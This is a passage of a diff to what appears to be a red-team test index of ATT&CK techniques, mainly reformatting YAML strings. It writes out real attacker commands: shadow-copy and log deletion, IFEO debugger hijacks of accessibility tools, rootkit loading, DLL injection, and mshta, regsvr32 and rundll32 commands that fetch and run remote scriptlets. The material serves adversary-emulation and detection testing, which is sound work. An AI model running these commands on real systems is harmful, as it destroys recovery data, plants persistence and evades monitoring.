command: |
del /f %TEMP%\victim-files-cmd\a
command: 'del /f %TEMP%\victim-files-cmd\a
'
- name: Delete an entire folder - cmd
description: |
Recursively delete the temporary directory and all files contained within it using cmd.exe
description: 'Recursively delete the temporary directory and all files contained
within it using cmd.exe
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
del /f /S %TEMP%\victim-files-cmd
command: 'del /f /S %TEMP%\victim-files-cmd
'
- name: Delete a single file - ps
description: |
Delete a single file from the temporary directory using Powershell
description: 'Delete a single file from the temporary directory using Powershell
'
supported_platforms:
- windows
executor:
name: powershell
command: |
Remove-Item -path %TEMP%\victim-files-ps\a
command: 'Remove-Item -path %TEMP%\victim-files-ps\a
'
- name: Delete an entire folder - ps
description: |
Recursively delete the temporary directory and all files contained within it using Powershell
description: 'Recursively delete the temporary directory and all files contained
within it using Powershell
'
supported_platforms:
- windows
executor:
name: powershell
command: |
Remove-Item -path %TEMP%\victim-files-ps -recurse
command: 'Remove-Item -path %TEMP%\victim-files-ps -recurse
'
- name: Delete VSS - vssadmin
description: |
Delete all volume shadow copies with vssadmin.exe
description: 'Delete all volume shadow copies with vssadmin.exe
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
vssadmin.exe Delete Shadows /All /Quiet
command: 'vssadmin.exe Delete Shadows /All /Quiet
'
- name: Delete VSS - wmic
description: |
Delete all volume shadow copies with wmic
description: 'Delete all volume shadow copies with wmic
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
wmic shadowcopy delete
command: 'wmic shadowcopy delete
'
- name: bcdedit
description: |
xxx
description: 'xxx
'
supported_platforms:
- windows
executor:
@@ -4540,14 +4722,16 @@ defense-evasion:
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
- name: wbadmin
description: |
xxx
description: 'xxx
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
wbdadmin delete catalog -quiet
command: 'wbdadmin delete catalog -quiet
'
T1144:
technique:
name: Gatekeeper Bypass
@@ -4617,8 +4801,9 @@ defense-evasion:
identifier: T1144
atomic_tests:
- name: Gatekeeper Bypass
description: |
Gatekeeper Bypass via command line
description: 'Gatekeeper Bypass via command line
'
supported_platforms:
- macos
input_arguments:
@@ -4676,8 +4861,9 @@ defense-evasion:
identifier: T1148
atomic_tests:
- name: Disable history collection
description: |
Disables history collection in shells
description: 'Disables history collection in shells
'
supported_platforms:
- linux
- macos
@@ -4692,8 +4878,9 @@ defense-evasion:
export HISTCONTROL=ignoreboth
ls #{evil_command}
- name: Mac HISTCONTROL
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
- linux
@@ -4784,8 +4971,9 @@ defense-evasion:
identifier: T1158
atomic_tests:
- name: Create a hidden file in a hidden directory
description: |
Creates a hidden file inside a hidden directory
description: 'Creates a hidden file inside a hidden directory
'
supported_platforms:
- linux
- macos
@@ -4795,17 +4983,21 @@ defense-evasion:
mkdir .hidden-directory
echo "this file is hidden" > .hidden-directory/.hidden-file
- name: Mac Hidden file
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
executor:
name: sh
command: |
sudo xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00"
command: 'sudo xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00
00 00 40 00 FF FF FF FF 00 00"
'
- name: Hidden file
description: |
mv file to a .file
description: 'mv file to a .file
'
supported_platforms:
- macos
- linux
@@ -4820,38 +5012,46 @@ defense-evasion:
default: "/tmp/evil"
executor:
name: sh
command: |
mv #{filename} .#{output_filename}
command: 'mv #{filename} .#{output_filename}
'
- name: Hidden files
description: |
Requieres Apple Dev Tools
description: 'Requieres Apple Dev Tools
'
supported_platforms:
- macos
executor:
name: sh
command: |
setfile -a V #{filename}
command: 'setfile -a V #{filename}
'
- name: Hide a Directory
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
executor:
name: sh
command: |
chflags hidden #{filename}
command: 'chflags hidden #{filename}
'
- name: Show all hidden files
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
executor:
name: sh
command: |
defaults write com.apple.finder AppleShowAllFiles YES
command: 'defaults write com.apple.finder AppleShowAllFiles YES
'
- name: Create visible Directories
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
- linux
@@ -4863,8 +5063,9 @@ defense-evasion:
ls
ls visible-directory
- name: Create hidden directories and files
description: |
xxx
description: 'xxx
'
supported_platforms:
- macos
- linux
@@ -4876,8 +5077,10 @@ defense-evasion:
ls -la
ls -la .hidden-directory
- name: Create ADS command prompt
description: |
Create an Alternate Data Stream with the command prompt. Write access is required.
description: 'Create an Alternate Data Stream with the command prompt. Write
access is required.
'
supported_platforms:
- windows
input_arguments:
@@ -4896,8 +5099,10 @@ defense-evasion:
echo "test" > :#{ads_filename}
dir /s /r | find ":$DATA"
- name: Create ADS PowerShell
description: |
Create an Alternate Data Stream with PowerShell. Write access is required.
description: 'Create an Alternate Data Stream with PowerShell. Write access
is required.
'
supported_platforms:
- windows
input_arguments:
@@ -4958,8 +5163,9 @@ defense-evasion:
identifier: T1147
atomic_tests:
- name: Hidden Users
description: |
Add a hidden user on MacOS
description: 'Add a hidden user on MacOS
'
supported_platforms:
- macos
input_arguments:
@@ -4969,8 +5175,9 @@ defense-evasion:
default: APT
executor:
name: sh
command: |
sudo dscl . -create /Users/#{user_name} UniqueID 333
command: 'sudo dscl . -create /Users/#{user_name} UniqueID 333
'
T1183:
technique:
name: Image File Execution Options Injection
@@ -5043,8 +5250,9 @@ defense-evasion:
identifier: T1183
atomic_tests:
- name: IFEO Add Debugger
description: |
TODO
description: 'TODO
'
supported_platforms:
- windows
input_arguments:
@@ -5058,11 +5266,14 @@ defense-evasion:
default: cmd.exe
executor:
name: command_prompt
command: |
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
'
- name: IFEO GLobal Flags
description: |
Leverage Global Flags Settings
description: 'Leverage Global Flags Settings
'
supported_platforms:
- windows
input_arguments:
@@ -5076,8 +5287,14 @@ defense-evasion:
default: cmd.exe
executor:
name: command_prompt
command: |
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"
/v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess
/d "#{payload_binary}"
'
T1070:
technique:
name: Indicator Removal on Host
@@ -5120,8 +5337,9 @@ defense-evasion:
identifier: T1070
atomic_tests:
- name: Clear Logs
description: |
Clear Windows Event Logs
description: 'Clear Windows Event Logs
'
supported_platforms:
- windows
input_arguments:
@@ -5131,20 +5349,25 @@ defense-evasion:
default: System
executor:
name: command_prompt
command: |
wevtutil cl #{log_name}
command: 'wevtutil cl #{log_name}
'
- name: FSUtil
description: |
Manages the update sequence number (USN) change journal, which provides a persistent log of all changes made to files on the volume.
description: 'Manages the update sequence number (USN) change journal, which
provides a persistent log of all changes made to files on the volume.
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
fsutil usn deletejournal /D C:
command: 'fsutil usn deletejournal /D C:
'
- name: rm -rf
description: |
Delete system and audit logs
description: 'Delete system and audit logs
'
supported_platforms:
- macos
- linux
@@ -5356,8 +5579,9 @@ defense-evasion:
identifier: T1130
atomic_tests:
- name: Install root CA on CentOS/RHEL
description: |
Creates a root CA with openssl
description: 'Creates a root CA with openssl
'
supported_platforms:
- linux
input_arguments:
@@ -5443,8 +5667,9 @@ defense-evasion:
identifier: T1118
atomic_tests:
- name: InstallUtil uninstall method call
description: |
Executes the Uninstall Method
description: 'Executes the Uninstall Method
'
supported_platforms:
- windows
input_arguments:
@@ -5518,14 +5743,16 @@ defense-evasion:
identifier: T1152
atomic_tests:
- name: Launchctl
description: |
Utilize launchctl
description: 'Utilize launchctl
'
supported_platforms:
- macos
executor:
name: sh
command: |
launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
'
T1036:
technique:
name: Masquerading
@@ -5607,8 +5834,10 @@ defense-evasion:
identifier: T1036
atomic_tests:
- name: Masquerading as Windows LSASS process
description: |
Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.
description: 'Copies cmd.exe, renames it, and launches it to masquerade as an
instance of lsass.exe.
'
supported_platforms:
- windows
executor:
@@ -5617,8 +5846,10 @@ defense-evasion:
cmd.exe /c copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe
cmd.exe /c %SystemRoot%\Temp\lsass.exe
- name: Masquerading as Linux crond process.
description: |
Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon.
description: 'Copies sh process, renames it as crond, and executes it to masquerade
as the cron daemon.
'
supported_platforms:
- linux
executor:
@@ -5689,14 +5920,18 @@ defense-evasion:
identifier: T1112
atomic_tests:
- name: Modify Registry of Current User Profile - cmd
description: |
Modify the registry of the currently logged in user using reg.exe cia cmd console
description: 'Modify the registry of the currently logged in user using reg.exe
cia cmd console
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f
command: 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
/t REG_DWORD /v HideFileExt /d 1 /f
'
- name: Modify Registry of Local Machine - cmd
description: |
Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when
@@ -5705,11 +5940,15 @@ defense-evasion:
- windows
executor:
name: command_prompt
command: |
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d {some_other_executable} /f
command: 'reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
/t REG_EXPAND_SZ /v SecurityHealth /d {some_other_executable} /f
'
- name: Modify Registry of Another User Profile
description: |
Modify a registry key of each user profile not currently loaded on the machine using both powershell and cmd line tools.
description: 'Modify a registry key of each user profile not currently loaded
on the machine using both powershell and cmd line tools.
'
supported_platforms:
- windows
executor:
@@ -5837,8 +6076,9 @@ defense-evasion:
identifier: T1170
atomic_tests:
- name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject
description: |
Test execution of a remote script using mshta.exe
description: 'Test execution of a remote script using mshta.exe
'
supported_platforms:
- windows
input_arguments:
@@ -5848,8 +6088,9 @@ defense-evasion:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct
executor:
name: command_prompt
command: |
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
command: 'mshta.exe javascript:a=(GetObject(''script:#{file_url}'')).Exec();close();
'
T1096:
technique:
name: NTFS File Attributes
@@ -6012,8 +6253,9 @@ defense-evasion:
identifier: T1126
atomic_tests:
- name: Add Network Share
description: |
Add a Network Share utilizing the command_prompt
description: 'Add a Network Share utilizing the command_prompt
'
supported_platforms:
- windows
input_arguments:
@@ -6027,8 +6269,9 @@ defense-evasion:
net use c: #{share_name}
net share test=#{share_name} /REMARK:"test share" /CACHE:No
- name: Remove Network Share
description: |
Removes a Network Share utilizing the command_prompt
description: 'Removes a Network Share utilizing the command_prompt
'
supported_platforms:
- windows
input_arguments:
@@ -6038,11 +6281,13 @@ defense-evasion:
default: "\\\\test\\share"
executor:
name: command_prompt
command: |
net share #{share_name} /delete
command: 'net share #{share_name} /delete
'
- name: Remove Network Share PowerShell
description: |
Removes a Network Share utilizing PowerShell
description: 'Removes a Network Share utilizing PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -6169,8 +6414,10 @@ defense-evasion:
identifier: T1027
atomic_tests:
- name: Decode base64 Data into Script
description: |
Creates a base64-encoded data file and decodes it into an executable shell script
description: 'Creates a base64-encoded data file and decodes it into an executable
shell script
'
supported_platforms:
- macos
- linux
@@ -6244,8 +6491,9 @@ defense-evasion:
identifier: T1150
atomic_tests:
- name: Plist Modification
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
executor:
@@ -6414,8 +6662,9 @@ defense-evasion:
identifier: T1055
atomic_tests:
- name: Process Injection via mavinject.exe
description: |
Windows 10 Utility To Inject DLLS
description: 'Windows 10 Utility To Inject DLLS
'
supported_platforms:
- windows
input_arguments:
@@ -6429,11 +6678,13 @@ defense-evasion:
default: "$pid"
executor:
name: powershell
command: |
mavinject $pid /INJECTRUNNING #{dll_payload}
command: 'mavinject $pid /INJECTRUNNING #{dll_payload}
'
- name: Process Injection via PowerSploit
description: |
PowerShell Injection using [PowerSploit Invoke-DLLInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1)
description: 'PowerShell Injection using [PowerSploit Invoke-DLLInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1)
'
supported_platforms:
- windows
input_arguments:
@@ -6447,8 +6698,9 @@ defense-evasion:
default: "$pid"
executor:
name: powershell
command: |
Invoke-DllInjection.ps1 -ProcessID #{process_id} -Dll #{dll_payload}
command: 'Invoke-DllInjection.ps1 -ProcessID #{process_id} -Dll #{dll_payload}
'
T1121:
technique:
name: Regsvcs/Regasm
@@ -6514,8 +6766,9 @@ defense-evasion:
identifier: T1121
atomic_tests:
- name: Regasm Uninstall Method Call Test
description: |
Executes the Uninstall Method, No Admin Rights Required
description: 'Executes the Uninstall Method, No Admin Rights Required
'
supported_platforms:
- windows
input_arguments:
@@ -6534,8 +6787,10 @@ defense-evasion:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name}
del #{file_name}
- name: Regsvs Uninstall Method Call Test
description: |
Executes the Uninstall Method, No Admin Rights Required, Requires SNK
description: 'Executes the Uninstall Method, No Admin Rights Required, Requires
SNK
'
supported_platforms:
- windows
input_arguments:
@@ -6635,8 +6890,10 @@ defense-evasion:
identifier: T1117
atomic_tests:
- name: Regsvr32 local COM scriptlet execution
description: |
Regsvr32.exe is a command-line program used to register and unregister OLE controls
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
@@ -6646,11 +6903,14 @@ defense-evasion:
default: C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct
executor:
name: command_prompt
command: |
regsvr32.exe /s /u /i:#{filename} scrobj.dll
command: 'regsvr32.exe /s /u /i:#{filename} scrobj.dll
'
- name: Regsvr32 remote COM scriptlet execution
description: |
Regsvr32.exe is a command-line program used to register and unregister OLE controls
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
@@ -6660,11 +6920,14 @@ defense-evasion:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct
executor:
name: command_prompt
command: |
regsvr32.exe /s /u /i:#{url} scrobj.dll
command: 'regsvr32.exe /s /u /i:#{url} scrobj.dll
'
- name: Regsvr32 local DLL execution
description: |
Regsvr32.exe is a command-line program used to register and unregister OLE controls
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
@@ -6674,8 +6937,10 @@ defense-evasion:
default: C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll
executor:
name: command_prompt
command: |
"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )"
command: '"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe
/s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )"
'
T1014:
technique:
name: Rootkit
@@ -6745,8 +7010,9 @@ defense-evasion:
identifier: T1014
atomic_tests:
- name: Loadable Kernel Module based Rootkit
description: |
Loadable Kernel Module based Rootkit
description: 'Loadable Kernel Module based Rootkit
'
supported_platforms:
- linux
input_arguments:
@@ -6756,11 +7022,13 @@ defense-evasion:
default: Module.ko
executor:
name: sh
command: |
sudo insmod #{rootkit_file}
command: 'sudo insmod #{rootkit_file}
'
- name: Loadable Kernel Module based Rootkit
description: |
Loadable Kernel Module based Rootkit
description: 'Loadable Kernel Module based Rootkit
'
supported_platforms:
- linux
input_arguments:
@@ -6770,17 +7038,20 @@ defense-evasion:
default: Module.ko
executor:
name: sh
command: |
sudo modprobe #{rootkit_file}
command: 'sudo modprobe #{rootkit_file}
'
- name: LD_PRELOAD based Rootkit
description: |
LD_PRELOAD based Rootkit
description: 'LD_PRELOAD based Rootkit
'
supported_platforms:
- linux
executor:
name: sh
command: |
export LD_PRELOAD=$PWD/#{rootkit_file}
command: 'export LD_PRELOAD=$PWD/#{rootkit_file}
'
- name: Windows Signed Driver Rootkit Test
description: |
This test exploits a signed driver to execute code in Kernel.
@@ -6800,8 +7071,9 @@ defense-evasion:
default: C:\Drivers\driver.sys
executor:
name: command_prompt
command: |
puppetstrings #{driver_path}
command: 'puppetstrings #{driver_path}
'
T1085:
technique:
name: Rundll32
@@ -6868,8 +7140,9 @@ defense-evasion:
identifier: T1085
atomic_tests:
- name: Rundll32 execute JavaScript Remote Payload With GetObject
description: |
Test execution of a remote script using rundll32.exe
description: 'Test execution of a remote script using rundll32.exe
'
supported_platforms:
- windows
input_arguments:
@@ -6879,8 +7152,9 @@ defense-evasion:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct
executor:
name: command_prompt
command: |
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();"
command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();"
'
T1064:
technique:
name: Scripting
@@ -6954,8 +7228,9 @@ defense-evasion:
identifier: T1064
atomic_tests:
- name: Create and Execute Bash Shell Script
description: |
Creates and executes a simple bash script.
description: 'Creates and executes a simple bash script.
'
supported_platforms:
- macos
- linux
@@ -7029,8 +7304,10 @@ defense-evasion:
identifier: T1216
atomic_tests:
- name: PubPrn.vbs Signed Script Bypass
description: |
Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.
description: 'Executes the signed PubPrn.vbs script with options to download
and execute an arbitrary payload.
'
supported_platforms:
- windows
input_arguments:
@@ -7040,8 +7317,10 @@ defense-evasion:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct
executor:
name: command_prompt
command: |
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
localhost "script:#{remote_payload}"
'
T1151:
technique:
name: Space after Filename
@@ -7098,8 +7377,9 @@ defense-evasion:
identifier: T1151
atomic_tests:
- name: Space After Filename
description: |
Space After Filename
description: 'Space After Filename
'
supported_platforms:
- macos
executor:
@@ -7156,8 +7436,9 @@ defense-evasion:
identifier: T1099
atomic_tests:
- name: Set a file's access timestamp
description: |
Stomps on the access timestamp of a file
description: 'Stomps on the access timestamp of a file
'
supported_platforms:
- linux
- macos
@@ -7167,11 +7448,13 @@ defense-evasion:
type: Path
executor:
name: sh
command: |
touch -a -t 197001010000.00 #{target_filename}
command: 'touch -a -t 197001010000.00 #{target_filename}
'
- name: Set a file's modification timestamp
description: |
Stomps on the modification timestamp of a file
description: 'Stomps on the modification timestamp of a file
'
supported_platforms:
- linux
- macos
@@ -7181,8 +7464,9 @@ defense-evasion:
type: Path
executor:
name: sh
command: |
touch -m -t 197001010000.00 #{target_filename}
command: 'touch -m -t 197001010000.00 #{target_filename}
'
- name: Set a file's creation timestamp
description: |
Stomps on the create timestamp of a file
@@ -7348,8 +7632,9 @@ defense-evasion:
identifier: T1127
atomic_tests:
- name: MSBuild Bypass Using Inline Tasks
description: |
Executes the code in a project file using. C# Example
description: 'Executes the code in a project file using. C# Example
'
supported_platforms:
- windows
input_arguments:
@@ -7359,11 +7644,15 @@ defense-evasion:
default: T1127.csproj
executor:
name: command_prompt
command: |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe #{filename}
command: 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe #{filename}
'
- name: MSXSL Bypass using local files
description: |
Executes the code specified within a XSL script tag during XSL transformation using a local payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
description: 'Executes the code specified within a XSL script tag during XSL
transformation using a local payload. Requires download of MSXSL from Microsoft
at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
'
supported_platforms:
- windows
input_arguments:
@@ -7377,11 +7666,15 @@ defense-evasion:
default: C:\AtomicRedTeam\atomics\T1127\src\msxsl-script.xsl
executor:
name: command_prompt
command: |
C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
'
- name: MSXSL Bypass using remote files
description: |
Executes the code specified within a XSL script tag during XSL transformation using a remote payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
description: 'Executes the code specified within a XSL script tag during XSL
transformation using a remote payload. Requires download of MSXSL from Microsoft
at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
'
supported_platforms:
- windows
input_arguments:
@@ -7395,8 +7688,9 @@ defense-evasion:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1127/src/msxsl-script.xsl
executor:
name: command_prompt
command: |
C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
'
privilege-escalation:
T1134:
technique:
@@ -7622,8 +7916,9 @@ privilege-escalation:
identifier: T1015
atomic_tests:
- name: Attaches Command Prompt As Debugger To Process - osk
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -7633,11 +7928,15 @@ privilege-escalation:
default: osk.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - sethc
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -7647,11 +7946,15 @@ privilege-escalation:
default: sethc.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - utilman
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -7661,11 +7964,15 @@ privilege-escalation:
default: utilman.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - magnify
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -7675,11 +7982,15 @@ privilege-escalation:
default: magnify.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - narrator
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -7689,11 +8000,15 @@ privilege-escalation:
default: narrator.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - DisplaySwitch
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -7703,11 +8018,15 @@ privilege-escalation:
default: DisplaySwitch.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - AtBroker
description: |
This allows adversaries to execute the attached process
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
@@ -7717,8 +8036,11 @@ privilege-escalation:
default: atbroker.exe
executor:
name: command_prompt
command: |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
'':
technique:
name: Web Shell
@@ -7860,8 +8182,10 @@ privilege-escalation:
identifier: T1103
atomic_tests:
- name: Install AppInit Shim
description: |
AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system
description: 'AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs
to be loaded into each user mode process on the system
'
supported_platforms:
- windows
input_arguments:
@@ -7871,8 +8195,9 @@ privilege-escalation:
default: T1103.reg
executor:
name: command_prompt
command: |
reg.exe import #{registry_file}
command: 'reg.exe import #{registry_file}
'
T1138:
technique:
name: Application Shimming
@@ -7942,14 +8267,16 @@ privilege-escalation:
identifier: T1138
atomic_tests:
- name: Application Shim Installation
description: |
This test injects a DLL into a custom application
description: 'This test injects a DLL into a custom application
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
sdbinst.exe AtomicShimx86.sdb
command: 'sdbinst.exe AtomicShimx86.sdb
'
T1088:
technique:
name: Bypass User Account Control
@@ -8059,8 +8386,10 @@ privilege-escalation:
identifier: T1088
atomic_tests:
- name: Bypass UAC using Event Viewer
description: |
Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
description: 'Bypasses User Account Control using Event Viewer and a relevant
Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
'
supported_platforms:
- windows
input_arguments:
@@ -8192,8 +8521,9 @@ privilege-escalation:
identifier: T1179
atomic_tests:
- name: Hook PowerShell TLS Encrypt/Decrypt Messages
description: |
Hooks functions in PowerShell to read TLS Communications
description: 'Hooks functions in PowerShell to read TLS Communications
'
supported_platforms:
- windows
input_arguments:
@@ -8282,8 +8612,9 @@ privilege-escalation:
identifier: T1183
atomic_tests:
- name: IFEO Add Debugger
description: |
TODO
description: 'TODO
'
supported_platforms:
- windows
input_arguments:
@@ -8297,11 +8628,14 @@ privilege-escalation:
default: cmd.exe
executor:
name: command_prompt
command: |
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
